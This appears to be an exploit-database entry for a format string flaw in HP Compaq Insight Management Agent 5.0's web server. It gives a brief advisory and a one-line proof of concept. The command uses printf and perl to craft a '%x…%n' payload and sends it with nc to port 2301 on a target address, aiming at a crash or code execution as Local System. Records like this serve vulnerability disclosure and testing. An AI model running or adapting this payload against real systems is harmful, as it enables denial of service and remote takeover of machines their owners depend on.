HP Compaq Insight Management Agent 5.0 - Format String

Author: mcw@wcd.se
type: dos
platform: hardware
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date_added: 2003-08-04
date_updated: 2012-11-29
verified: 1
codes: OSVDB-2377
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source: https://www.securityfocus.com/bid/8336/info

The Compaq Management Agent HTTP server is vulnerable to a format string issue. A remote attacker may be able to exploit this vulnerability in order to execute arbitrary code with Local System privileges.

$ printf "GET /<\x21.DebugSearchPaths>?Url=`perl -e 'print "A"x14'`BBBB`perl -e 'print
".%%x"x1208'`%%n> HTTP/1.0\n\n" | nc 192.168.235.131 2301